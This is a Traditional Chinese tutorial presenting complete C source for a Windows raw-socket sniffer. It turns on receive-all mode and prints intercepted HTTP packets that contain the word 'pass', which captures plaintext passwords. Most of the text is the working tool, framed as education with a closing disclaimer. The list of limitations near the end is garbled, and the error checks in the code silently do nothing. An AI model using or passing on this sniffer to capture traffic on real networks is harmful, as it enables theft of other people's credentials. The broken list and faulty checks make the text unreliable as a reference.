網管員用它分析流量、診斷效能;駭客用它竊取帳號密碼、商業機密。嗅探器工作於資料鏈路層,隱蔽性極強,受害者往往毫無察覺。本文實作一個極簡嗅探器,專抓 HTTP 明文傳輸的 pass 關鍵字,演示原理與風險。
實作嗅探器需兩個條件:
int WSAIoctl(
SOCKET s, // 原始套接字
DWORD dwIoControlCode, // SIO_RCVALL
LPVOID lpvInBuffer, // 輸入緩衝
DWORD cbInBuffer,
LPVOID lpvOutBuffer, // 輸出緩衝
DWORD cbOutBuffer,
LPDWORD lpcbBytesReturned,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
SIO_RCVALL 指示 TCP/IP 協議棧將**所有 IP 封包**複製到指定原始套接字。
#define MAX_PACK_LEN 4096
#define MAX_ADDR_LEN 16
typedef struct _iphdr {
BYTE h_lenver; // 4bit版本 + 4bit首部長度
BYTE tos;
WORD total_len;
WORD ident;
WORD frag_and_flags;
BYTE ttl;
BYTE proto; // 6=TCP, 17=UDP
WORD checksum;
DWORD sourceIP;
DWORD destIP;
} IP_HEADER;
SOCKET SockRaw;
void CheckSockError(int code, const char* msg) {
if (code == SOCKET_ERROR) {
printf("%s Error:%d\n", msg, WSAGetLastError());
closesocket(SockRaw); exit(0);
}
}
int DecodeIpPack(char* buf, int len) {
IP_HEADER* ip = (IP_HEADER*)buf;
char srcIP[MAX_ADDR_LEN], dstIP[MAX_ADDR_LEN];
sockaddr_in sa; sa.sin_addr.s_addr = ip->sourceIP;
strncpy(srcIP, inet_ntoa(sa.sin_addr), MAX_ADDR_LEN);
sa.sin_addr.s_addr = ip->destIP;
strncpy(dstIP, inet_ntoa(sa.sin_addr), MAX_ADDR_LEN);
int ipHdrLen = 4 * (ip->h_lenver & 0x0F);
char* payload = buf + ipHdrLen + 20; // 跳過 IP + TCP 頭 (簡化假設 20 位元組)
// 簡易關鍵字匹配(實戰需完整 HTTP 解析)
if (strstr(payload,"pass") || strstr(payload,"Pass") || strstr(payload,"PASS")) {
printf("\n\n%s->%s bytes=%d TTL=%d\n%s", srcIP, dstIP, len, ip->ttl, payload);
}
return 0;
}
void main() {
WSADATA wsa; WSAStartup(0x0202, &wsa);
SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
CheckSockError(SockRaw, "socket");
// 綁定本機 IP
char hostname[255]; gethostname(hostname, 255);
hostent* he = gethostbyname(hostname);
sockaddr_in sa = { AF_INET, htons(6000) };
memcpy(&sa.sin_addr, he->h_addr_list[0], he->h_length);
bind(SockRaw, (sockaddr*)&sa, sizeof(sa));
CheckSockError(0, "bind");
// 開啟混雜模式
DWORD dwIn = 1, dwOut[10], dwRet;
WSAIoctl(SockRaw, SIO_RCVALL, &dwIn, sizeof(dwIn), dwOut, sizeof(dwOut), &dwRet, NULL, NULL);
CheckSockError(0, "Ioctl");
printf("It's now sniffing, CTRL+C to exit...\n\n");
char RecvBuf[MAX_PACK_LEN];
while (1) {
memset(RecvBuf, 0, sizeof(RecvBuf));
int n = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);
CheckSockError(n, "recv");
DecodeIpPack(RecvBuf, n);
}
}
圖 1:成功捕獲 HTTP POST 中的 user=xxx&pass=yyy 明文密碼
Vista+ 系統需「以系統管理員身分執行」,否則 socket(..., SOCK_RAW, ...) 失敗返回 WSAEACCES (10013)。
本例為教學簡化:
Data Offset 欄位)pass 關鍵字(實戰需 HTTP 協議解析、URL Decode、表單欄位提取)SIO_RCVALL 狀態變化百行代碼實現核心嗅探功能,展示了網路協議棧的脆弱面。理解原理非為作惡,而是為了建構更安全的防禦體系。請勿用於非法用途,違者必究。